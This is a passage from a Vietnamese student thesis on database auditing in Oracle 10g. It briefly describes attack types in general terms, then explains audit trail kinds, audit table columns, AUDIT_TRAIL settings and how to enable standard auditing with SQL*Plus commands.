Đầu tiên kẻ tấn công sử dụng TCP scan port để quét lỗ hổng trên Server
Database Oracle. Để phát hiện được bước đầu tiên kẻ tấn công sẽ thực hiện
quét trên cổng TNS . Cổng TNS làm việc như sau:
- Bất cứ khi nào một kết nối có Username , mật khẩu và ID của phiên
làm việc hoặc tên dịch vụ được gửi đến cổng TNS
- Hệ thống sẽ kiểm tra ID của phiên làm việc và tên dịch vụ nếu sẽ cho
phép đăng nhập nếu không sẽ gửi lại thông điệp báo lỗi. Thông tin đăng nhập
sẽ được xác thực , hệ thống bắt đầu lắng nghe các yêu cầu từ Client gửi đến
server qua cổng bất kỳ và một phiên làm việc mới sẽ được thiết lập giữa
Client và Server
Khi luồng dữ liệu kết thúc , Oracle có thể lắng nghe nhiều phiên kết nối
đến nó
Tấn công DoS
Kẻ tấn công thường làm tràn bộ đệm của hệ thống hoặc làm ngập lụt
băng thông mạng để sửa đổi dữ liệu hoặc đánh cắp thông tin
Tấn công leo thang đặc quyền
Sự leo thang đặc quyền có thể hiểu đơn giản là một phương thức tấn
công mà với cách này, các User có quyền hạn thấp hơn sẽ tấn công vào một
điểm dễ bị tổn thương nhất của hệ thống để trở thành một người quản trị hoặc
có thể trở thành các User có quyền hạn cao hơn. Cách để leo thang đặc quyền
mà ta có thể nghĩ ngay đến đó là việc chiếm quyền thông qua crack password
của người quản trị, tấn công tràn bộ đệm của máy đó và ăn cắp password. Bài
phân tích này sẽ đưa ra một điểm yếu chung mà có thể được khai thác để ăn
cắp password và sau đó là leo thang đặc quyền. Và cũng qua bài phân tích
này, chúng ta sẽ thấy được các nhược điểm của các hệ thống từ đó đánh giá
đúng hơn về việc tấn công leo thang đặc quyền và tầm quan trọng của việc
tiến hành vá lỗi liên tục cho hệ thống.
2.1.2. Các yêu cầu bảo vệ cơ sở dữ liệu.
Bảo vệ cơ sở dữ liệu khỏi các hiểm hoạ, có nghĩa là bảo vệ tài nguyên,
đặc biệt là dữ liệu khỏi các thảm hoạ, hoặc truy nhập trái phép. Các yêu cầu
bảo vệ cơ sở dữ liệu gồm:
Lớp AT3C - 43 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Bảo vệ chống truy nhập trái phép
Bảo vệ chống suy diễn
Bảo vệ toàn vẹn cơ sở dữ liệu
Khả năng lưu vết và kiểm tra
Xác thực người dùng
Quản lý và bảo vệ dữ liệu nhạy cảm
Bảo vệ nhiều mức
2.1.3. Vai trò của kiểm toán trong việc bảo vệ cơ sở dữ liệu.
Để bảo mật cơ sở dữ liệu thì giám sát (Monitoring) và kiểm toán (Audit)
là một phần không thể thiếu cho những thủ tục bảo mật.
Kiểm toán giúp thu giữ và lưu trữ thông tin về những gì đang xảy ra
trong hệ thống. Kiểm toán phải được tập trung để chỉ những sự kiện được
quan tâm sẽ được lưu lại vết (Trail).Từ đó nhờ những bản ghi audit sẽ giúp
DBA phát hiện và kịp thời những tấn công hay lỗ hổng và ngăn chặn những
hành vi phá hoại của tin tặc.Hoặc nhanh chóng sửa chữa những bất thường
của hệ thống.
Kiểm toán thường được sử dụng để:
Kích hoạt tính trách nhiệm sau này cho các hành động hiện tại
thực hiện trong một lược đồ đặc biệt, bảng, hoặc hàng, hoặc ảnh
hưởng đến nội dung cụ thể.
Giúp người giám sát biết được nếu có user bất hợp pháp đang thao
tác với cơ sở dữ liệu.
Điều tra hoạt động đang nghi ngờ. Ví dụ. nếu một người sử dụng
trái phép là xóa dữ liệu từ các bảng, sau đó các quản trị viên bảo
mật có thể kiểm toán tất cả các kết nối CSDL và tất cả các xóa bỏ
thành công va không thành công của các hàng từ tất cả các bảng
trong CSDL.
Theo dõi và thu thập dữ liệu về các hoạt động CSDL cụ thể. Ví
dụ, người quản trị CSDL có thể thu thập số liệu thống kê về những
Lớp AT3C - 44 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
bảng đang được cập nhật, bao nhiêu I/O được thực hiện, hoặc làm
thế nào nhiều người dùng đồng thời kết nối tại thời gian cao điểm.
2.2. TỔNG QUAN VỀ KIỂM TOÁN.
2.2.1. Định nghĩa kiểm toán.
Kiểm toán là việc theo dõi và ghi lại các hành động lựa chọn CSDL
người dùng. Nó có thể được dựa trên hành động cá nhân, chẳng hạn như các
loại câu lệnh SQL, hoặc kết hợp các yếu tố bao gồm tên, ứng dụng, thời gian,
… Chính sách bảo mật có thể tạo ra kiểm toán khi các yếu tố quy định tại một
CSDL Oracle được truy cập hay thay đổi, bao gồm cả nội dung.
Kiểm toán làm tăng số lượng công việc của hệ thống phải làm.Kiểm toán
đúng mức sẽ có những tác động tối thiểu trên hiệu suất hệ thống. Tập trung
kiểm toán không đúng có thể ảnh hưởng đến hiệu suất đáng kể.
Oracle cho phép tùy chọn kiểm toán phải được tập trung hoặc mở rộng,
cho phép kiểm toán sau đây:
Sự thực hiện statement thành công , Sự thực hiện statement không
thành công, hoặc cả hai.
Sự thực hiện statement một lần trong mỗi phiên của người dùng
hoặc một lần trong thời gian báo cáo được thực thi
Các hoạt động của tất cả người dùng hoặc của một người dùng cụ
thể
Ta có thể sử dụng Enterprise Manager để xem và cấu hình các thông số
liên quan đến kiểm toán khởi tạo và quản lý các đối tượng được kiểm toán để
báo cáo kiểm toán và lược đồ đối tượng kiểm toán. Ví dụ, Enterprise Manager
cho thấy các thuộc tính các báo cáo kiểm toán hiện tại, đặc quyền, và đối
tượng. Ta có thể xem các thuộc tính của từng đối tượng, và có thể tìm kiếm
các đối tượng được kiểm toán bởi các thuộc tính của họ. Ta cũng có thể bật và
tắt kiểm toán trên các đối tượng, báo cáo, và đặc quyền.
2.2.2. Các loại đường mòn (Trail) và bản ghi (Record).
Record audit(Bản ghi kiểm toán) bao gồm thông tin về các hoạt động đã
được kiểm toán, người sử dụng thực hiện các hoạt động, và ngày và thời gian
hoạt động. Hồ sơ kiểm toán có thể được lưu dưới dạng một bảng từ điển dữ
Lớp AT3C - 45 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
liệu, được gọi là database audit trail (đường mòn kiểm toán cơ sở dữ liệu),
hoặc trong các tập tin hệ điều hành, được gọi là (operating system audit trail)
đường mòn hệ thống kiểm toán hoạt động.
Có hai loại kiểm toán chính là Standard audit và fine-grained auditing.
Standard audit records được tạo và lưu lại tại DBA_AUDIT_TRAIL (bảng
sys.aud$) hoặc hệ điều hành. Fine-grained audit records được tạo và lưu tại
DBA_FGA_AUDIT_TRAIL (bảng sys.fga_log$ ) và view
DBA_COMMON_AUDIT_TRAIL là kết hợp standard and fine-grained audit
log records.
Tên Null Loại
----------------------------------------- -------- ----------------------------
SESSIONID NOT NULL NUMBER
TIMESTAMP# DATE
DBUID VARCHAR2(30)
OSUID VARCHAR2(255)
OSHST VARCHAR2(128)
CLIENTID VARCHAR2(64)
EXTID VARCHAR2(4000)
OBJ$SCHEMA VARCHAR2(30)
OBJ$NAME VARCHAR2(128)
POLICYNAME VARCHAR2(30)
SCN NUMBER
SQLTEXT VARCHAR2(4000)
LSQLTEXT CLOB
SQLBIND VARCHAR2(4000)
COMMENT$TEXT VARCHAR2(4000)
PLHOL LONG
STMT_TYPE NUMBER
Lớp AT3C - 46 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
NTIMESTAMP# TIMESTAMP(6)
PROXY$SID NUMBER
USER$GUID VARCHAR2(32)
INSTANCE# NUMBER
PROCESS# VARCHAR2(16)
XID RAW(8)
AUDITID VARCHAR2(64)
STATEMENT NUMBER
ENTRYID NUMBER
DBID NUMBER
LSQLBIND CLOB
Khi nào audit record được tạo
- Standard auditing cho toàn bộ cơ sở dữ liệu có thể kích hoạt hay vô
hiệu hóa bởi các quản trị viên bảo mật. Nếu nó bị tắt, sau đó không có hồ sơ
kiểm toán được tạo ra.
- Nếu kiểm toán cơ sở dữ liệu được kích hoạt bởi người quản trị bảo mật,
sau đó tùy chọn kiểm toán cá nhân có hiệu lực. Các tùy chọn này kiểm toán
có thể được thiết lập bởi bất kỳ người sử dụng cơ sở dữ liệu được ủy quyền
cho các đối tượng cơ sở dữ liệu mà người dùng sở hữu.
- Khi kiểm toán được kích hoạt trong cơ sở dữ liệu và hành động một
thiết lập hành động để kiểm toán và một bản ghi kiểm toán được tạo ra trong
giai đoạn thực thi của statement.
- Câu lệnh SQL bên trong PL / SQL được kiểm toán một cách riêng lẻ,
khi cần thiết, khi các đơn vị chương trình được thực hiện.
- Việc phát sinh và chèn của một audit trail record là user transaction độc
lập được thực hiện.
Lớp AT3C - 47 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
- Statement and privilege audit có hiệu lực tại thời điểm một người sử
dụng cơ sở dữ liệu kết nối với cơ sở dữ liệu vẫn có hiệu lực trong khoảng thời
gian phiên của họ.
- Thiết lập hoặc thay đổi các tùy chọn statement or privilege audit trong
một phiên không có hiệu lực trong phiên giao dịch đó. Các statement sửa đổi
hoặc lựa chọn privilege audit chỉ có hiệu lực khi kết thúc phiên hiện tại và
phiên mới được tạo ra.
- Ngược lại, thay đổi sơ đồ lựa chọn đối tượng kiểm toán (schema object
audit) có hiệu lực cho phiên hiện tại ngay lập tức.
Các loại Trail và record:
- Database Audit Trail (DBA_AUDIT_TRAIL)
- Operating System Audit Trail
- Syslog Audit Trail
- Operating System and Syslog Audit Records
- Records Always in the Operating System and Syslog Audit Trail
2.2.2.1. Database Audit Trail (DBA_AUDIT_TRAIL).
Database audit trail bao gồm một bảng duy nhất tên là SYS.AUD $ trong
SYS schema của data dictionary của mỗi cơ sở dữ liệu Oracle. Một số
predefined views được cung cấp để giúp sử dụng thông tin trong bảng này,
chẳng hạn như DBA_AUDIT_TRAIL.
Audit trail records có thể chứa các loại thông tin khác nhau, tùy thuộc
vào các sự kiện được kiểm toán và các tùy chọn kiểm toán đặt ra. Danh sách
một phần trong bảng sau cho thấy các cột mà thường xuất hiện trong các
đường mòn kiểm toán (audit trail).
SQLBIND và SQLTEXT không được lưu lại, trừ khi chỉ định
AUDIT_TRAIL = DB, EXTENDED trong file khởi tạo cơ sở dữ liệu,
init.ora.
Nếu các bản ghi dữ liệu kiểm toán trở nên đầy hoặc không sẵn sàng, nên
không thể chấp nhận những bản ghi mới,thì sau đó một hành động được kiểm
Lớp AT3C - 48 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
toán sẽ không thể được lưu lại. Thay vào đó, nó tạo ra một thông báo lỗi và
không được thực hiện.
Sau đây là bảng liệt kê các bản ghi trong audit trail:
Tên Null Type
---------------------------------------------------------------------------------------------
SESSIONID NOT NULL NUMBER
ENTRYID NOT NULL NUMBER
STATEMENT NOT NULL NUMBER
TIMESTAMP# NOT NULL DATE
USERID VARCHAR2(30)
USERHOST VARCHAR2(128)
TERMINAL VARCHAR2(255)
ACTION# NOT NULL NUMBER
RETURNCODE NOT NULL NUMBER
OBJ$CREATOR VARCHAR2(30)
OBJ$NAME VARCHAR2(128)
AUTH$PRIVILEGES VARCHAR2(16)
AUTH$GRANTEE VARCHAR2(30)
NEW$OWNER VARCHAR2(30)
NEW$NAME VARCHAR2(128)
SES$ACTIONS VARCHAR2(19)
SES$TID NUMBER
LOGOFF$LREAD NUMBER
LOGOFF$PREAD NUMBER
LOGOFF$LWRITE NUMBER
LOGOFF$DEAD NUMBER
LOGOFF$TIME DATE
Lớp AT3C - 49 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
COMMENT$TEXT VARCHAR2(4000)
SPARE1 VARCHAR2(255)
SPARE2 NUMBER
OBJ$LABEL RAW(255)
SES$LABEL RAW(255)
PRIV$USED NUMBER
Có thể xem lại danh sách này bằng cách dùng câu lệnh “desc aud$” trên
SQL command line.
2.2.2.2. Operating System Audit Trail.
Cơ sở dữ liệu Oracle cho phép audit trail records để được hướng đến
operating system audit trail .Nếu operating system có sẵn 1 audit trail cho
Oracle Database. Nếu không, sau đó hồ sơ kiểm toán được ghi vào một tập tin
bên ngoài cơ sở dữ liệu. Các mục đích directory khác nhau tùy theo nền tảng:
trên nền tảng hệ điều hành Solaris, nó là $ORACLE_HOME / RDBMS /
audit. Nhưng đối với các nền tảng khác, phải kiểm tra các tài liệu nền tảng để
tìm hiểu các mục tiêu chính xác. Trong Windows, thông tin được truy cập
thông qua Event Viewer.
Nếu init.ora xác định AUDIT_TRAIL = XML, sau đó audit records được
viết cho hệ điều hành như các file XML. Một view mới,
V$XML_AUDIT_TRAIL, như bản ghi kiểm toán (audit record) XML có sẵn
cho DBAs thông qua một truy vấn SQL, cung cấp khả năng sử dụng nâng
cao.
Việc truy vấn các view tạo nên tất cả các file XML (tất cả các file có
phần mở rộng xml.) trong thư mục AUDIT_FILE_DEST được phân tích và
trình bày dưới dạng bảng quan hệ. Vì XML là một định dạng tài liệu tiêu
chuẩn, nhiều tiện ích có sẵn để phân tích cú pháp như XML data.
Tuy nhiên, operating system audit trail hoặc file system có thể bị đầy và
do đó không thể chấp nhận những bản ghi mới, kể cả audit records hướng đến
hệ điều hành. Trong trường hợp này, cơ sở dữ liệu Oracle vẫn cho phép một
số hành động nhất định được tiếp tục kiểm toán, mặc dù bản ghi kiểm toán
không thể được lưu trữ bởi vì hệ điều hành đã bị đầy.Sử dụng các dấu vết cơ
Lớp AT3C - 50 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
sở dữ liệu (database audit trail) ngăn chặn các hành động được kiểm toán từ
việc hoàn tất nếu audit record không thể được lưu trữ.
Quản trị hệ thống cấu hình hệ điều hành kiểm toán (operating system
auditing) cần đảm bảo rằng hệ thống đường mòn hoạt động kiểm toán hoặc hệ
thống tập tin (operating system audit trail or the file system) hoàn toàn không
bị đầy. Hầu hết các hệ điều hành cung cấp cho các quản trị viên với đầy đủ
thông tin và cảnh báo để họ có thể đảm bảo điều này không xảy ra.
Tuy nhiên, cấu hình kiểm toán để sử dụng database audit trail có thể loại
bỏ các khả năng mất các thông tin kiểm toán. Các máy chủ cơ sở dữ liệu
Oracle ngăn chặn kiểm toán các sự cố nếu audit trail không thể chấp nhận
những database audit record cho statement.
Danh sách một phần trong bảng sau cho thấy các cột mà thường xuất
hiện trong các đường mòn kiểm toán (audit trail) và Operating System Audit
Trail:
Tên cột
Cũng có thể xuất hiện trong
Operating System Audit Trail?
Operating system login user name
(CLIENT USER)
Yes.
Database user name (DATABASE
USER)
Yes.
Session identifier Yes.
Terminal identifier Yes.
Lớp AT3C - 51 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Tên cột
Cũng có thể xuất hiện trong
Operating System Audit Trail?
Name of the schema object accessed Yes.
Operation performed or attempted
(ACTION)
Yes.
Completion code of the operation Yes.
Date and time stamp in UTC
(Coordinated Universal Time) format
Date and time yes, but not in UTC
format.
System privileges used (PRIVILEGE) Yes.
Proxy Session audit ID No.
Global User unique ID No.
Distinguished name Yes.
Instance number No.
Process number No.
Transaction ID No.
SCN (system change number) for the
SQL statement
No.
SQL text that triggered the auditing
(SQLTEXT)
No.
Bind values used for the SQL No.
Lớp AT3C - 52 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Tên cột
Cũng có thể xuất hiện trong
Operating System Audit Trail?
statement, if any (SQLBIND)
Bảng 2.1: Bảng các cột điển hình trong audit trail và Operating System Audit
Trail
2.2.2.3. Syslog Audit Trail.
Lỗ hổng bảo mật tiềm tàng cho một operating system audit trail là đặc
quyền người sử dụng như là DBA có thể sửa hoặc xóa các bản ghi kiểm toán.
Để giảm thiểu nguy cơ này, có thể sử dụng các dấu vết syslog. Syslog là một
giao thức chuẩn trên các hệ thống dựa trên UNIX để đăng nhập thông tin từ
các thành phần khác nhau của mạng. Ứng dụng gọi là syslog () để đăng nhập
thông tin vào syslog daemon, mà sau đó xác định nơi để đăng nhập thông tin.
Có thể cấu hình syslog để đăng nhập thông tin vào một tên file syslog.conf
đến một log máy chủ từ xa chuyên dụng. Cũng có thể cấu hình syslog để cảnh
báo một loạt quy định của người sử dụng khi thông tin được đăng nhập.
Bởi vì các ứng dụng, chẳng hạn như là một quá trình xử lý Oracle, sử
dụng syslog () để đăng nhập thông tin vào syslog daemon, một người sử dụng
đặc quyền không cần phải có quyền truy cập đến hệ thống nơi mà thông điệp
được đăng
Vì lý do này, audit records lưu trữ bằng cách sử dụng syslog audit trail
có thể được an toàn hơn so với audit records lưu trữ bằng cách sử dụng
operating system audit trail.Việc hạn chế quyền truy cập đến các file hệ thống
của các người dùng đặc quyền, syslog audit trail được an toàn hơn.
2.2.2.4. Operating System and Syslog Audit Records.
Operating system và syslog audit trails được mã hóa, nhưng được giải
mã trong từ điển dữ liệu tập tin và thông báo lỗi. Bao gồm:
Mã hành động mô tả các hoạt động thực hiện hoặc cố gắng. Các
dữ liệu từ điển AUDIT_ACTIONS bảng chứa danh sách của các
mã và mô tả về chúng.
Lớp AT3C - 53 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Đặc quyền sử dụng mô tả bất kỳ đặc quyền hệ thống được sử dụng
để thực hiện các hoạt động. Bảng SYSTEM_PRIVILEGE_MAP
liệt kê tất cả các mã và mô tả về chúng.
Hoàn thành mã mô tả các kết quả của các hoạt động đã cố gắng.
Hoạt động thành công trả về một giá trị số không, và các hoạt
động không thành công trả về mã lỗi Oracle mô tả lý do tại sao
các hoạt động đã không thành công.
Hoàn thành mã mô tả các kết quả của các hoạt động đã cố gắng.
Hoạt động thành công trả về một giá trị số không, và các hoạt
động không thành công trả về mã lỗi Oracle mô tả lý do tại sao
các hoạt động đã không thành công.
2.2.2.5. Các bản ghi luôn có trong Operating System and Syslog Audit
Trail.
Một số cơ sở dữ liệu liên quan đến hành động luôn được ghi nhận vào hệ
thống điều hành và các dấu vết kiểm tra syslog bất kể cơ sở dữ liệu kiểm toán
có được kích hoạt hay không. Thực tế là những hồ sơ này luôn tạo ra đôi khi
kiểm toán là bắt buộc. Những hành động sau đây được ghi lại:
Lúc khởi động chẳng hạn, một bản ghi kiểm toán được tạo ra
trong đó bao gồm người sử dụng hệ điều hành bắt đầu một
instance, các thiết bị đầu cuối nhận dạng của người sử dụng, và
đóng dấu ngày và thời gian. Thông tin này được ghi vào hệ thống
điều hành hoặc các dấu vết kiểm tra syslog, bởi vì các dấu vết cơ
sở dữ liệu không sẵn có cho đến sau khi khởi động đã hoàn tất
thành công.
Tại tắt máy chẳng hạn, một bản ghi kiểm toán được tạo ra rằng các
chi tiết của hệ điều hành người dùng tắt một instance, các thiết bị
đầu cuối nhận dạng của người sử dụng, và đóng dấu ngày và thời
gian.
Trong khi kết nối được thực hiện với quyền quản trị viên, một bản
ghi kiểm toán được tạo ra rằng các chi tiết của người dùng hệ điều
hành kết nối vào cơ sở dữ với quyền quản trị viên. Bản ghi này
Lớp AT3C - 54 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
quy trách nhiệm liên quan đến người sử dụng kết nối với quyền
quản trị viên.
Trên hệ điều hành là nơi không thực hiện một dấu vết truy cập vào cơ sở
dữ, những audit trail records được đặt trong một tập tin Oracle đường mòn
kiểm toán (audit trail file) trong cùng thư mục như là nền tảng quá trình theo
dõi các tập tin, và trong một định dạng tương tự.
2.2.3. Duy trì đường mòn kiểm toán (Maintaining the Audit Trail).
Các Audit trail phải được duy trì khi được thực hiện theo các hướng dẫn:
Xem xét và lưu trữ bản ghi cũ.
Ngăn chặn việc lưu trữ các chương trình.
Tránh mất bản ghi.
Mỗi loại audit trail phải được duy trì. Bảo dưỡng cơ bản phải bao gồm
xem xét việc bản ghi kiểm toán và loại bỏ bản ghi cũ từ hệ thống cơ sở dữ
liệu hoặc điều hành. Audit trail có thể phát triển và làm đầy các lưu trữ có
sẵn.
Nếu các dấu vết cơ sở dữ liệu đầy các tablespace, các hành động được
kiểm toán không hoàn thành. Nếu audit trail (dấu vết kiểm toán) đầy các
tablespace hệ thống, việc thực hiện các hoạt động khác bị ảnh hưởng trước
khi ngừng hoạt động kiểm toán.
Các dấu vết kiểm toán của standard auditing được lưu trữ trong bảng
AUD $. Các dấu vết của FGA được lưu dữ ở bảng FGA_LOG $.Cả hai bảng
được tạo ra trong tablespace SYSTEM theo mặc định. Có thể di chuyển các
bảng đến tablespace khác bằng cách sử dụng các tiện ích export and import
utilities.
Nhưng cần phải chú ý rằng di chuyển các bảng kiểm toán trong
SYSTEM tablespace không được hỗ trợ.Các bản ghi kiểm toán có thể bị mất
trong quá trình xử lý di chuyển bản ghi từ các bảng kiểm toán.Cách thực hiện
tốt nhất là : Sử dụng export dựa trên time stamp, và sau đó xóa các hàng từ
các dấu vết, dựa trên các time stamp.
2.3. CÁC LOẠI KIỂM TOÁN.
Lớp AT3C - 55 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Để giám sát cho hành vi đáng ngờ, giám sát (Monitoring) và kiểm toán
phải là 1 phần không thể thiếu cho những thủ tục bảo mật.
Các loại kiểm toán:
Mandatory auditing : Là các hoạt động kiểm toán mặc định .Bất
kể cơ sở dữ liệu kiểm toán có được kích hoạt hay không, cơ sở dữ
liệu Oracle luôn luôn kiểm tra một số hoạt động liên quan đến cơ
sở dữ liệu và ghi chúng vào tập tin vận hành hệ thống kiểm toán.
Thực tế này được gọi là kiểm toán bắt buộc,
Standard database auditing : Đây là thiết lập ở cấp độ hệ thống
bằng cách sử dụng những tham số AUDIT_TRAIL. Sau khi kích
hoạt tính năng kiểm toán, lựa chọn các đối tượng và đặc quyền
muốn kiểm toán.
Value-based auditing (Kiểm toán dựa trên giá trị) : Nó trải dài trên
Standard database auditing, không chỉ lưu các trường hợp kiểm
toán đã xảy ra mà còn là giá trị thực tế đã được đưa vào, cập
nhật,hoặc bị xóa. Kiểm toán dựa trên giá trị được thực hiện thông
qua cơ sở dữ liệu gây nên.
Fine-grained auditing (FGA): ): FGA mở rộng từ Standard
database, ghi lại SQL statement đã được ban hành thay vì chỉ
những sự kiện đã xảy ra.
DBA auditing: Nhiệm vụ kiểm toán riêng giữa DBA và kiểm toán
viên hoặc người quản trị an ninh những người mà giám sát những
hoạt động của DBA trong kiểm định hệ điều hành.
2.3.1. Mandatory Auditing.
Tất cả các hành động kiểm toán cơ sở dữ liệu Oracle nào đó không phân
biệt kiểm toán option hoặc parameters đều được lưu lại. Lý do cho việc kiểm
toán bắt buộc bản ghi (mandatory audit logs) là cơ sở dữ liệu cần ghi lại một
số hoạt động cơ sở dữ liệu, chẳng hạn như hệ thống khởi động và tắt máy.
Bao gồm các hoạt động sau đây:
Kết nối tới instance với quyền administrator
Lớp AT3C - 56 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Bản ghi kiểm toán được tạo ra với danh sách người sử dụng hệ điều hành kết
nối vào cơ sở dữ liệu với quyền SYSOPER hoặc SYSDBA sẽ quy định về
trách nhiệm của người sử dụng với quyền administrative.
Database startup
Bản ghi kiểm toán được tạo ra danh sách người sử dụng hệ điều hành
trong trường hợp startup hệ thống với các thông tin user terminal identifier,
date and time stamp. Thông tin này được lưu trữ trong đường mòn vận hành hệ
thống kiểm toán(operating system audit trail) bởi vì các dấu vết cơ sở dữ liệu
không sẵn có cho đến khi khởi động đã hoàn tất thành công.
Database shutdown
Bản ghi kiểm toán tạo ra danh sách người sử dụng hệ điều hành trong
trường hợp shutdown hệ thống.
Hình 2.1: OS Audit Trail
2.3.2. Standard Database Auditing.
Lớp AT3C - 57 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
Hình 2.2: Standard Database Auditing
2.3.2.1. Các bước kiểm toán.
Bước 1 : Khởi tạo kiểm toán ( Enabling Database Auditing )
Các tham số khởi tạo ảnh hưởng đến hành vi của nó có thể được hiển thị
bằng cách sử dụng SHOW PARAMETER SQL*Plus
a. SQL> SHOW PARAMETER AUDIT
b.
c. NAME TYPE VALUE
d. ------------------------------------ -----------
------------------------------
e. audit_file_dest string C:\ORACLE\
PRODUCT\10.2.0\ADMIN
f. \DB10G\ADUMP
g. audit_sys_operations boolean FALSE
h. audit_trail string NONE
i. SQL>
Kiểm toán được tắt theo mặc định, nhưng có thể kích hoạt bằng cách
thiết lập các thông số AUDIT_TRAIL tĩnh, trong đó có cho phép các giá trị
sau.
Lớp AT3C - 58 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
AUDIT_TRAIL = { none | os | db | db,extended |
xml | xml,extended }
Danh sách dưới đây cung cấp một mô tả của mỗi thiết lập:
- None or false – Kiểm toán vô hiệu hóa
- Db or true – Kiểm toán được kích hoạt, với tất cả hồ sơ kiểm toán được
lưu trữ trong thử nghiệm kiểm toán CSDL (SYS.AUD$)
- Db,extended-As db,
- Xml – Kiểm toán được kích hoạt, với tất cả hồ sơ kiểm toán được lưu
trữ như định dạng XML tập tin hệ điều hành.
- Xml,extended – As xml
- Os- Kiểm toán được kích hoạt với tất cả hồ sơ kiểm toán hướng đến
các dấu vết cuẩ hệ điều hành.
Trong Oracle 10g phiên bản 1, db_extended được sử dụng thay cho db,
mở rộng các tùy chọn XML là tính năng mới của Oracle 10g phiên bản 2.
Các tham số AUDIT_SYS_OPERETIONS tĩnh tham số cho phép hoặc
vô hiệu hóa hoạt động kiểm tra do người dùng kết nối với SYSDBA hoặc
SYSOPER đặc quyền, bao gồm cả người sử dụng SYS. Tất cả các hồ sơ kiểm
toán được ghi vào đường mòn kiểm toán hệ điều hành.
Các tham số AUDIT_FILE_DEST mô tả thư mục hệ điều hành được sử
dụng cho các đường mòn kiểm toán khi OS,XML và XML, tùy chón mở rộng
được sử dụng. Nó cũng là vị trí cho tất cả các kiểm tra bắt buộc quy định bởi
tham số AUDIT_SYS_OPERATIONS.
Để kích hoạt tính năng kiểm toán và các hồ sơ kiểm toán trực tiếp cho
các đường mòn kiểm toán cơ sở dữ liệu, chúng ta sẽ làm như sau.
SQL> ALTER SYSTEM SET audit_trail=db SCOPE=SPFILE;
System altered.
SQL> SHUTDOWN
Database closed.
Database dismounted.
Lớp AT3C - 59 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
ORACLE instance shut down.
SQL> STARTUP
ORACLE instance started.
Total System Global Area 289406976 bytes
Fixed Size 1248600 bytes
Variable Size 71303848 bytes
Database Buffers 213909504 bytes
Redo Buffers 2945024 bytes
Database mounted.
Database opened.
SQL>
Khởi động lại cơ sở dữ liệu sau khi thay đổi một khởi tạo tĩnh
tham số
Phải bật tính năng kiểm toán cơ sở dữ liệu trước khi chỉ định việc cài đặt
kiểm toán.
Bước 2 : Tùy chọn iểm toán ( Specify Audit Option )
Standa Audit được chia làm 3 level sau:
Mức kiểm toán của
Standard Auditing
Ý nghĩa / Mô tả
Câu lệnh kiểm
tra(Statement
auditing)
Kiểm toán các câu lệnh SQL theo loại Câu lệnh,
không phải bởi các đối tượng lược đồ cụ thể mà nó
hoạt động. Điển hình mở rộng, câu lệnh kiểm tra
kiểm toán việc sử dụng một số loại hành động có
liên quan cho mỗi tùy chọn. Ví dụ, kiểm toán Bảng
một số bài nhạc DDL báo cáo bất kể bảng mà họ
được ban hành. Cũng có thể thiết lập câu lệnh kiểm
tra để kiểm toán người dùng lựa chọn hoặc mỗi
người sử dụng trong CSDL.
Đăc quyền kiểm tra
(Privilege auditing)
Kiểm toán sử dụng các đặc quyền hệ thống cho các
hành động tương ứng, chẳng hạn như kiểm toán
CREATE TABLE. Đặc quyền kiểm tra tập trung
hơn so với kiểm tra câu lệnh bởi vì nó chỉ kiểm tra
Lớp AT3C - 60 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
việc sử dụng các đặc quyền nhắm mục tiêu. Có thể
thiết lập quyền kiểm tra để kiểm toán một người sử
dụng lựa chọn hoặc mỗi người sử dung trong CSDL.
Lược đồ đối tượng
kiểm tra(Schema
object auditing)
Kiểm toán báo cáo cụ thể về một lược đồ cụ thể đối
tượng, chẳng hạn như AUDIT SELECT ON
employees. Lược đồ đối tượng kiểm tra là rất tập
trung, kiểm tra chỉ một câu lệnh cụ thể về một lược
đồ đối tượng cụ thể. Lược đồ đối tượng kiểm tra
luôn luôn áp dụng cho tất cả người dùng của CSDL.
Bảng 2.2: Mức kiểm toán của Standard Auditing
Statement auditing
Cú pháp : AUDIT (TABLE, VIEW,TRIGGER, ROLE…) [BY user]
[WHENEVER SUCCESSFUL /NOT SUCCESSFUL] [BY SESEION] [BY
ACCESS];
Trong đó:
BY USER : Khi không có BY USER câu lệnh sẽ thực hiện kiểm
toán với tất cả user. Trong trường hợp việc lưu lại hoạt động của
tất cả các user là không cần thiết thì ta có thể sử dụng BY USER
để thực hiện giám sát với một số user cần quan tâm
BY SESSION : Chỉ chèn có một bản ghi kiểm toán vào các audit
trail, cho mỗi người dùng và schema object, trong mỗi phiên bao
gồm một hành động được kiểm toán. (Phiên là thời gian giữa khi
người dùng kết nối vào và ngắt kết nối từ Oracle Database.)
BY ACCESS : Chỉ chèn có một bản ghi kiểm toán vào các audit
trail cho mỗi hành động được truy suất
WHENEVER SUCCESSFUL /NOT SUCCESSFUL : Ghi lại
những hành động thành công hoặc thất bại.
Các Auditable Statements bao gồm toàn bộ trong bảng sau:
Lớp AT3C - 61 - Cao Thị Hồng Thúy
Kiểm toán trong Oracle 10g Học viện Kỹ thuật Mật mã
